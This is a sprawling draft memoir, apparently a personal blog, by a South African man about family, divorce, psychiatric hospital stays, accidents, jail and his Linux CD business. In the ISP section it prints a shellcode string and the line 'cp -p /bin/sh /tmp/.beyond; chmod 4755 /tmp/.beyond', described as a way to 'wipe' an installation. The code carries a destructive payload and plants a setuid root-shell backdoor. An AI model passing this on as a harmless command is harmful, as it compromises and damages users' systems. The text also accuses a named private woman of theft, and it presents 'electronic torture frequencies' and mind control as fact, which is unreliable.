I love steam bread cooked in a plastic bag in a big pot with water on an open fire. Being an outdoor person and having been all over the berg (Drakensberg) and KZN (Kwa Zulu Natal) camping with Dorota i love the outdoor life. Mostly in National Parks. The Drakensberg is awesome except in winter where it's freezing cold as Jabu and i found out when we went to a timeshare in the Underberg in the winter in 2012. Like they say your holiday for life is right here in South Africa and for mahala (free) if one has contacts in a suburb like Malangeni.

During the summer months instead of bathing in a basin (one meter wide and three hundred millimeters deep), Jabu gave me a shower with a bucket in a deserted empty room one hundred meters from the main house. The ablution are a "long drop type" not far from the house.

Dish washing


With no running water dishes are washed in small basins as shown in the pic above

The taxi (taxi is a sixteen seater used for passengers mostly in Afirca, AFAIK, there are luxury Quantums and squares which are a bit of older models) ride from Umzinto to Pennington is also awesome, rolling hills, dirt road, sparse houses and really a view to die for. Real steep drops in places like the pass between Outeniqua pass and George in the Western Cape of South Africa. Almost like the Grand Canyon but not quite as steep.

Jabu supported me and visited me whilst i was on my stays at G.J. Crookes and Umzimkulu psych hospital but i think she was fed up with this alleged bi polar illness of mine. Its six hours travel to Umzimkulu psychc hospital and time only for a one hour visit before she had to catch the last taxi back.

Basically there is bi polar one, bi polar two and bi polar lite. I have borderline bi polar two/bi polar lite where i freak out some of the time under stress even when i take my meds. Folks with bi polar one are fucked out of there brains most of the time. The illness normally starts with depression and progresses to bi polar and is hereditary.

Some say spring officially starts on the 21st of September others the 1st of September. For us spring started a week ago when the days started to warm up from a horrible daytime winters temperature of only on average 72 F after 09:00 and a average of 64 F at night, almost a good ambient temp for the laptop to operate at.
Jabu and i spend the first spring weekend of 2016 at her mothers house. We had fair weather as it was not too hot and a good bit of rain on Saturday night to fill up the water tank. Tourists or even locals would pay hundreds of dollars for a Friday to Sunday breakaway. What a spectacular view from Jabu's mothers house. Mukugwazi (spelling) is getting on in the years just like my mum but is still full of life.

Malangeni South


I arrived on Friday afternoon by on/off road motorcycle, she is a blessing on the gravel roads. Jabu arrived just before me from a shopping trip. I was quite famished and we had (WTF i forgot what we ate Friday night). Saturday we had a braai (BBQ) in the afternoon which ended at 17:00 just before the rain came. To celebrate the begining of spring we had: angel fish, chicken wors (sausage), boerewors (90% beef sausage) and pork chops. I was in charge of braaing the meat and Jabu did an excellent job with the coleslaw, pap (traditional African porridge) and a salad, i forget the name, tomato, onion and chili. There are many ways to cook mielie meel, soft porridge for breakfast with lemon or sugar or milk, phutu pap which is mielie meel with extra mielie meel added to make it grainy, (i don't like it too much as i had enough at Umzimkulu and G.J. Crookes), then there is my favourite of all favourites, pap. I like it a bit soft and almost runny, Jabu cooks it perfectly. My second favourite dish is pap and wors, third is bunny chow (a half loaf of white bread cut in half and filled with mutton or lamb stew, any hot and spicy meat stew in fact). My favourite has always been fruits de mer. However i like my fruits de mer served hot.



BBQ pap and meat



Spot of bad luck with a referred maid who was hired on a temp trial basis to do the house work whilst Jabu was away at her mum's place. One day i noticed my bedroom suite drawer was jammed shut. That's where i keep my wallet. I noticed there was 100 ZAR missing from my wallet. On another occasion money i had hidden elsewhere, Khanyo had no business to look there, there was 100 ZAR missing from the wad of notes (which are getting rather thin now at the middle of the month). Her fingerprints and DNA are all over the wad of notes and i am waiting for her to make her move. She obviously likes buffalo and maybe lions and elephants too for all i know. These wild African animals are imprinted on South African notes. Khanyo referred a guy to me to repair my smartphone and now i will not get my Samsung smartphone back either. No reply from the "zw" guy now on Whatsapp who did a hell of a good job fixing the CRT TV and was a very pleasant chap. Below is a pic of the alleged thief Khanyo. She can stay at "shbalala" for all i care, two stops before "clover".



Alledged thief Khanyo



All good things come to an end. On the 30th July 2016 my ma........, but let me jump back to March 2012 first...........

   
   



Part twenty two

Hit and run

Dorota Janina Maskowicz was my first wife in the early 90's, we met via unusual circumstance. Dorota was a student at the university of Warsaw in Poland studying bio chemistry. My father invited her to South Africa to continue her studies. Those university years at Wits university where quite fun, thats where i met one of her profs who taught me how to operate a machine with two 5.25" floppies. Thats where Leisure Suite Larry came in. I was quite fasinated by this computer prof had lent me that i spent almost all my free time using the computer. We lived in the "bronx" (Hillbrow), where my first child was conceived. In the early 90's we had to move out of the flat a the caretaker flat was burnt down and there was a problem with the fourteen story lift being used as public toilets. All for the better, the four of us including our dog misia moved into a house in the suburbs, adjoining Northcliff, Johannesburg. Of course this house was not good enough and i had to purchase another house in Randburg proper.

Unfortunatly, i had to suggest after graduation and receiving her masters that i sent Dorota on a computer course at Van Zyl and Prichard as she could not work in a lab in town whilst pregnant because of the radiation. It turned out well for her as she progressed over the year to top positions in the information technology fields. At least i did one thing right sending Dorota on a computer course.

Till death do us part is a bit steep. Another bible story. I wonder sometimes if i am an agnostic believer, now that is heavy. As i think back now i think seven years is tops for a marriage and then a new partner is in order, depending on ones financial situation.

I lasted seven years with Dorota, two years with Miss C and with Jabu it's over four years.

I last saw my daughter on her fifth birthday at my luxury apartement which had a view looking up at the Brixton tower in Johannesburg together with my son, that fateful night i, my daughter Kasia and son Pawel where involved in a pre menstrual mood swing by my ex wife Dorota. Dorota lost it when i brought the kids back late home from Kasia's birthday party. To date i have not seen my kids for sixteen years and counting. Thanks to all the shrinks whom where so interested to help me to see my kids again and there where quite a few i asked for help.

Pawel my son did contact me when he was fifteen or sixteen via email and we chatted quite a lot. I have since chatted with my snotty daughter on facebook who once told me that she will not chat with me if i do not dance to her tune, They can both get fucked after all these years, especially and including the "ku*" Dorota even though we went through a lot together (many happy moments) it's the end that counts.

I feel fuck all, in the mid 90's Dorota kept the 40K ZAR profit from the sale of the first house, when we where divorced i gave her the second house and the bond was well almost paid over. She told me she earned 6K ZAR a month but she earned 8K ZAR a month, what kind. This only came to light during the divorce. Pity she was such a nice girl till she found out i was going to be retrenched from from my contract from ESC for AA reasons, allegedly. Maybe i should not have joked that we will have to sell her BMW.

When we where divorced Dorota talked a lot of shit about me to her colleges at work. Not only that but when i brought the kids back home late she promptly on the thirteenth of June 1997 served me a protection order to stay away from her and the kids, Kasia and Pawel. Well the hit and run artist got her wish. South African citizenship, my money and two lovely kids.

Like i said we did have many good times together, camping at Giant's Castle and Monks Cowl in the Central Drakensberg. During the rainy season we had a river flowing under our two man tent. We once went on a hike Giants Castle and where horribly lost, three hills and seven hours later we eventually found camp. Ou first camping to St Lucia by Richards Bay, what a lovely National Park. There are "beware of sharks" or used to be sigh boards by the river. We where lucky to obtain a camping spot for five days as it was peak December season and we had not booked in advance.

For me personally camping is the best holiday does not matter how much march (money) we have. As long as the camping site is not over crowded. As a teenager i spent a lot of time with the folks in the Drakensberg during the school holiday season's. July 2011, on our return from the South Coast we stopped for lunch at the Northern snow capped berg, what a stunning view from the restaurant.

Part twenty three

put pic of pub n helmet/specs here

In 2012 and 2013 Jabu and i spent a lot of time at the village pub enjoying non alcoholic breakfasts or lunches. The pub food was fantastic at a reasonable price. The village pub overlooks the railway line and it's nice to watch the goods train to drive by. The cappuccino and espressos where fantastic.

Then one fateful evening i ventured to the village pub alone. As i walked in i greeted the Indian chap barman/waiter who was playing a pornographic slot machine. He looked at me and said nothing. I was in the mood for an alcoholic drink so i ordered a castle light if i remember correctly followed by a few shots. I was playing pool by myself as the pub was deserted, and talking a bit to myself, except for two youngsters in their late twenties who where the barmen. I decided to go home, i had arrived on my motorcycle. As i was paying the bill i mumbled to myself that "i am a retard", the Indian chap barman retorted that "i noticed". To cut a long story short i lost my motorcycle helmet and my optical rayban sunglasses even though the bill was payed by my mother the next day. I was hit over the head with barstools by the two youngsters, one a coloured barman. To date i have not recovered my motorcycle helmet (not a cheap one either) nor my rayban optical sunglasses.

   
   
Part twenty four

Camping at Motorcycle rallies

50cc Suzuki

The first thing i did in the back yard when my 50cc Suzuki was delivered was put up a ten foot plank on bricks at one end and promptly come pipe, (i made a ramp). Tata was very kind to have bought me the 50 and i had many enjoyable rides in three fields close to tata's and mama's property.

  
XT 250 Yamaha

Honda Hawk 400

Katana 650

CB 750 Honda

XJ 750

GSX 750

V-Max

 
TSR 125

Spot of real bad luck rolling (half roll) the Merc C180 on the 5th December 2012. (put pic here). My first prang in seven years which was also not my error. To top it all Cheryl jumped a stop street and crashed straight into my TSR 125 in the last quarter of 2015 as i was turning right. I had concussion so i don't recall much after the wipe out other than that Cheryl took me to the pharmacy and a good neighbour and friend brought the bike back to my property. Cheryl's mother was at the pharmacy and had the cheek to say "he buggered up your car". Luckily Evan repaired the bike in the first quarter of 2016 but it cost me seventeen hundred ZAR to repair. It is quite difficult to obtain spares out here in the sticks. I am still waiting for three/four weeks now for an indicator. There is absolutly no respect for bikers on the road around these parts. Folks will even overtake a bike on a bridge. Anyway Evan has ordered the indicator and he is to deliver it soon from a few streets up.

The reason i purchased the TSR 125 was that some of the junk folks where trying to flog was real crap. Like a 1980 Ford lazer, stolen, recovered for twenty six thousand ZAR, another Mr clever. Or a Toyota Tazz which was used as a driving school motor vehicle for some weird sum.

It's quite handy having an on/off road motorcycle especially on the dirt roads of Malangeni. I used to be quite nifty on my 50cc Suzuki in my younger years on a motor cross track.

   
   
hacked


Part twenty five

My days at an ISP, (internet service provider/police)

In 1999 i studied for my MCSE NT 4.0. It was computer based training and lasted for six months. I passed my four core exams and received my MCP NT 4.0. I had studied for the electives but left them when i discovered Red Hat Linux 6.1 in my first boxed set, i did not know what was cutting at first and Red Hat Linux 6.1 two CD set was quite difficult to operate on my machine. I eventually moved on to Mandrake Linux (Mandrake Linux changed it's name to Mandriva Linux as a clown in the USA had a patent on the name Mandrake). Mandriva Linux was the top Linux distribution in the early 2000's till Ubuntu Linux came along and took over the lead. Today the top Linux distribution is Debian Linux followed by Mageia Linux, Linux Mint, Fedora Linux, openSUSE Linux and Ubuntu Linux. I use all of them just for the fun of it. If one has a large hard drive it is quite easy to put numerous Linux operating systems on the hard drive and boot from them individually. Sadly i cannot run virtual box at present as my eight year old laptop overheats and donations of a second hand i3 laptop, 3rd gen or better would be most welcome, would not mind having a break now and then and letting off a bit of steam and of course not to forget origin.

Like the OSI for example where do hackers and crackers really come from? Banks, ISP's and web hosting companies have intense security measures in place. The image above shown of my previous joomla web page (pawinski.co.za) was quite a nice job even if i say so myself. Yet it was cracked (hacked) whilst hosted by one of the major South African hosting companies. More likely an inside job if you ask me.

An ISP is like a traffic cop, they can redirect traffic wherever they please. ISP's come in handy in times of war and as the second line of defence against floods coming into the network.

After passing my MCP i was employed at an ISP in Sandton, Gauteng, South Africa. I was or put myself in the hot seat at the support call center. It was nice being fresh out of collage as some of the guys who used to call in for support would ask for me as i was quite au fait with NT 4.0 workstation and server, even though that was quite difficult i believe in those days to patch through to another agent especially with the call center been so busy. That was quite a while back and i progressed to commands similar to the one below to wipe my installation at my SOHO when the linux os on my machine was really and truly almost fucked, more fun than just re installing, make sure you have a backup before running any commands from the command line:

Don't run this command below or any unknown command on your operating system unless you research the command at least three or four times from different sources

char esp[] __attribute__ ((section(“.text”))) /* e.s.p release */ = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″ “\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″ “\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″ “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″ “\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″ “\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″ “\x6e\x2f\x73\x68\x00\x2d\x63\x00″ “cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;”;

As of 1999 i worked for many IT companies mainly contracting as it was more lucrative. In 2003 when i was discharged from THMC after a stint at SAPS S as an volunteer (see part thirty), i opened my own registered company AMPPOL IT Linux CD's & DVD's in 2003 whilst still at SAPS S but officially my first adword was placed in July 2004 where i spent 190K ZAR on adwords in nine years. Not bad for a SOHO. It was quite exciting working the graveyard shift every night and then having a nap and working through the day.

I would download the Linux iso images, burn them, package them and market them. My discs seemed to "last forever" said one client. This was a most enjoyable vocation but in the end the costs became more than the profit. So we sold the house in Northcliff, Gauteng, South Africa and moved to Pennington in March 2012. Where i continued to market Linux disc's online. Unfortunatly AMPPOL IT Linux CD's & DVD's did not work out in Pennington mainly because one can download the disc's by oneself as the cost of ADSL bandwidth is cheap, so i shut up shop in 2013, then my stints at G.J Crookes and Umzimkulu Hospital's cost me dearly financially wise as spending months in hospitals makes the bills add up.

   
   

Part twenty six

Psychiatric medical torture

Aubrey Levin was first licensed as a psychiatrist in South Africa in 1969. He was a Colonel in the South African Defence Force (SADF), as well as the chief psychiatrist at the Voortrekkerhoogte military hospital during the 1970s, during which time he was the attending psychiatrist at Greefswald, an isolated detention barracks where harsh conditions were supposed to "cure" conscripts of supposed vices and conscientious objections. Aubrey Levin worked at Addington Hospital in Durban (1975-1981) and at Fort England Psychiatric Hospital in Grahamstown.

He submitted gays or guys who though that they would get out of going to the SADF by stating that they where gay, to medical torture and chemical torture.

This is quite common practice in the South African medical field even today. Injections are given to patients where the patient has epilectic like spasms for two days before the "anti venom" injection is administered. I know from personal experience. The convulsions are quite horrible and the doctors, staff, sisters and nurses are quite happy to look on and enjoy the show.

During the apartheid era of the 60's, 70's, 80's and 90's "shock treatment" was quite common even though in the USA (since 1938, some wizard whom invented it, was stopped in the early 60's as being non medically fruitful). How lovely to have "thousands" of volts induced into ones brain whilst under anesthetic for a course of six times so interns and shrinks can write a thesis on electro convulsive therapy. Doctors from eastern europe where treated as second class citizens as their training was not considered to be up to scratch by the apartheid government and a lot of them still work in South African government hospitals. The reason i was admitted to places like THMC was because there where doctors of eastern european decent working there.

Pieces of crap, that's what EPA bi polar victims are. Just medical experiments for mahala (free). The worst part is there are very good caring nursing sisters but one always remembers the bad.

A donation of any amount and/or a donation of an i3 3rd gen or better second hand laptop would be great if you enjoy the progress of my draft copy of my non fiction book


Part twenty seven

My days as a sparky and computer data cabler

I started off my apprenticeship at

"I will hit you with a four pound hammer", not said to me but those where the apartheid years.

Get out of there quickly

I heard those words a few times whilst doing data cabling for a major South African bank contracted via another company which i helped start up, being an electrician and all. The places i had to get out of quickly where "townships" (African suburbs). I did the electrical work and the computer data cabling, mostly coaxial, Cat5 and some Cat4

I remember on one occasion, a new small bank was being built and i remarked that the rhino board could be kicked in and someone could enter the offices. Someone important heard me as the next day the rhino board was removed and stainless steel sheeting placed between the two pieces of rhino board which made up the interior walls.


Part twenty eight

My days as an assistant electrical engineer

Part twenty nine

SAPS OFR

Floods land ferry Katherine Point teargas strike craft

Part thirty

SAPS S and SAPS Houghton training collage

2003 was a very good year for me partly. I was discharged from THMC and being unemployed i volunteered to work at the Clients Services Center at SAPS S. I was basically a "security guard" and receptionist on duty with a another girl every weekday for a couple of month's. I also answered phone calls when the switchboard was closed to redirect the calls to the right detective. It was quite an intresting 08:00 till 14:00 volunteer position. A movie was even shot at SAPS S and i parked my W123 in front of a detective's garage which had a sigh "do not park in front of this garage", which i did not notice, so someone promptly let my right front tire down. Lucky i had in my boot, a compressor to pump the tire back up again. A captain had informed me that my tire was let down and i retorted something to the effect of "mother fucker", i hope it was not that captain.

As the days went by i was also running my newly born AMPPOL IT Linux CD's & DVD's business. My first CD's i sold whilst still at SAPS S, where RED Hat 7.x, the 2003 edition in a hand made paper sleeve. I remember this because i was late coming back from SAPS S and the client was waiting at my SOHO. I still think Red Hat 7.3 (2003) was the best release ever, thinking back to those days.

I was approached by a police reservist one day and he enquired if i would like to join the police reservists. I replied that i would not really. In the long run i did go for the course at the HTC, i did not enjoy the part where one had to run to the one tree but then to find out we had to run to the other tree instead. The seargant was a bit stumped when he said we should "sterk" an officer if we saw them off duty, i asked what if the officer was under cover.

Cops are full of shit sometimes, it reminds me of a pizza supper at a pub, Miss C and i used to frequent, i was having supper with one girl and some alleged cops where there and they where talking about "we went into windsor", well i went into many "townships" with my African partner alone, to do data cabling work and electrical work in the apartheid years. This was the best chilli pizza in town and in the begining there was dancing and a band on Wednesday and Friday nights. Miss C and i had a great time there but the appletiser's cost more than the beers. Rather rude these cops telling my girlfriend their war stories.

July- 2003

Part thirty one

SAPS JFS Commercial branch

2004/2008

Pity Captain Kloppers did not put away Paul Rigden for eight years like he wanted to. Paul Rigden only got two years for fraud. Paul Rigden was running a pyramid scheme at Northcliff corner shopping center (Johannesburg) for years and ten million ZAR vanished of which four hundred thousand was inherited by mama. Mostly pensioners where taken for a ride. The first few years the scheme seemed to work and tata received a healthy divided. But then all fell apart and tata passed away and mama was left with ziltch. Even though the executor of the estate charged mama tax and estate duty on the sum. I tried to explain to the EOTS that mama would never get the funds but it fell on death ears.

At one stage Paul Rigden hired a security guard as his shop windows where defaced and smashed in as well as his clients wanting to take his computer equipment.

Part thirty two

SAPS S

When i was an out patient at THMC i had a very pleasant nursing sister whom i would consult with every three months. She resigned after a few years and sister Mary took over whom was also very wonderful. She was a Sotho as in Gauteng there are mostly Sotho's and in KZN there are obviously mostly Zulu's. The Sotho's greet with "dumela" and the Zulu's greet with "kunjane" or "sabona"(spelling). There are 13 official languages in South Africa, one of them is talking crap, mostly by politicians.

Sister Mary once informed me that persons hit by electronic pulse frequencies (EPF) and then suffer from bi polar disorder get in trouble with the law. The SAPS (police) normally come to pick up a patient who has had enough of EPF and has totally freaked out.

On one occasion during the course of 2013-2015 i was given a free ride in the back of a vang wa (police truck) to SAPS S instead of G.J Crookes Hospital and as it was a Friday i spent the weekend in jail. Even though my shrink informed the SAPS telephonically at the house gate that i was ok. On arrival i was put in the awaiting detention cage. I spent the evening in a wet eight squares (meters) cage with three other guys, the floor was wet from urine as there was no toilet. Lucky i had my fags with me.

In the morning i was transferred to a room with about twenty prisoners. The SAPS are sometimes good okes (people), sometimes they fuck up a prisoner but in jail they mostly let the prisoners fuck each other up. The holding cell was forty squares, one shower and a toilet, on entry i was searched by the prisoners and my RICA cell phone, matches and fags where stolen. I put up quite a fight but the youngsters (under 27 years of age) out numbered me by at least thirteen to one. At a later stage i once dialed my 072***4035 number and someone answered. How nice of them. I could have brought in a 6.35 mm an non would be wiser other than the prisoners. Don't come running to me if a crime is committed with my RICA 072***4035 cell phone number. Lucky the cell phone was a cheap Nokia and not a smartphone.

I was the transferred to a holding cell for three prisoners. I regret i never met as arranged my fellow African inmate at Ushaka Zulu, in Durban, the next month. We chatted quite a bit and of course, a dumb ass Indian undercover SAPS chap acting as a pharmacist was also placed in the three bed cell. He talked so much shit one could tell he was not a pharmacist or he was just plain fucked in the head pretending to be a pharmacist.

Jabu came to visit me on the Saturday morning and we communicated through a sealed glass window. She enquired as to the whereabouts of my cell phone. The visit was short and sweet but it's always nice to see a friendly face.

In the luxury 12 squares (meters) three bed holding cell there was a shower with hot water and the food was not too bad either. But it was quite dark, a nice relaxing atmosphere to meditate. Lucky i had someone to chat with. Yet one cannot chat too much as one never knows who is listening.

Come Monday morning i was released to go home back to my dearest Jabu.


Financial loss only counting since 16 March 2012 thanks to EPFA and ETF

Replacement value: (TO DO FIX EXCHANGE RATE)

  • One motor vechicle: 490 000 ZAR (approx 49 000 USD)
  • One motor vechicle: 160 000 ZAR (approx 16 000 USD) 16th June 2011
  • Two smartphones: 16 000 ZAR (approx 1600 USD)
  • Two motherboards, CPU's and aftercoolers: 18 000 ZAR (approx 1800 USD)
  • One PSU, purchased unnecessary, the fault turned out to be the BIOS on the mobo's: 1500 ZAR (approx 150 USD)
  • Two notebook (laptop) computers: 32 000 ZAR (approx 3200 USD)
  • Two Microsoft Windows 8.1 DSP: 3400 ZAR (approx 340 USD)
  • One router: 1850 ZAR (approx 185 USD)
  • One TV/monitor: 10 000 ZAR (approx 1000 USD)
  • Two dogs (canines): 7000 ZAR (approx 700 USD)
  • Theft of Mama's (mum's) jewellery: 8500 ZAR (approx 850 USD)
  • Loss of goods in transit by moving company: TO DO calculate exact figure
  • One hacked Joomla web page: 7000 ZAR plus loss of earnings causing me to close my business(approx 700 USD)
  • One pair sunglasses: 7500 ZAR (approx 750 USD)
  • Loss of secondary income

Imagine that my optometrist mentioned in the first quarter of 2012 that i do not need scratch protection on my sunglasses as "you look after your ...." don't remember the last word he said but he was insinuating that i respect my earthly goods and take good care of them. Like my twenty eight year old chronograph which cannot be repaired in the village and surrounds as there is no watchmaker around these parts.. The chronograph was almost stolen off my wrist once. PUT THE LAST SENTANCE IN PART EIGHTEEN

Acronyms

  • Matthew 6:14-15 - another lesson they will never forget
  • PAD - penatration analysis dvd
  • ED - erectile dysfunction
  • EPF - electronic pulse frequency
  • ETF - electronic torture frequency
  • EDF - electronic death frequency
  • EPFA - electronic pulse frequency agents
  • EMW - electronic mind wipe
  • RCF - remote control frequency
  • ACL - access control list
  • EMC - electronic mind control
  • WYSIWYDG - what you see is what you don't get
  • ED - erectile dysfunction
  • RCFE - remote control frequency erection
  • FIR - forensic information receiver
  • FIA - forensic information analysist
  • EVOSF - electronic voice over smartphone frequency
  • EVOLF - electronic voice over landline frequency
  • VNSPN - virtual not so private network
  • ERPFT - electronic remote pulse frequency toothache
  • ERPFC - electronic remote pulse frequency cramps
  • ERPFE - electronic remote pulse frequency earache
  • HHD - hard disc drive
  • PSU - power supply unit
  • Mobo - motherboard
  • Aftercooler - CPU fan, water or air
  • CPU - central processing unit
  • Tata - Polish word for farther
  • Mama - Polish word for mother
  • BP - of double or doutfull meaning
  • RA - rheumatoid arthritis

Reviews to date:

  • "Too technical, i dont understand it"
  • "Make it more technical"
  • "No one wants to read your sad stories"
  • "Make it more like a fiction book"
  • "You are jumping around too much"

my emotional well being, 30/07/2014, 16:25 CAT. Well well this statement reminds me of a year after fosscd.co.za aka budgetlinuxcd(s).co.za, opened their doors on 16th December 2006 and the many times i gave up hope due to unfair bussiness competitive behaviour on the part of fosscd.co.za, WTF let me carry on anyway. Even though Jabu lost a laptop (notebook) computer just ten days ago due to the unethical hackers who are playing God. I am on the last "properly functioning computer" (cough cough) so wish me luck. At random Jabu gets hit by EPF and on 04/08/2014 whilst i was not at home, she was in a good mood when i went out, on my return she had such an enormous mood swing that i did not recognise her. This is not the first time Jabu has been hit by the EPF either at my place or at makakwazi's home since 201x.

More positive and negative input will be great to improve my non fiction book.

check spelling, grammer, and to do yellow

A donation of any amount would be great if you enjoy the progress of my draft copy of my non fiction book


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Repay no one evil for evil, but give thought to do what is honorable in the sight of God. It depends on you, live peaceably with all. Beloved, never avenge yourselves, but leave it to the wrath of God, for it is written, Vengeance is mine, I will repay, says the Lord". Romans 12:17-19

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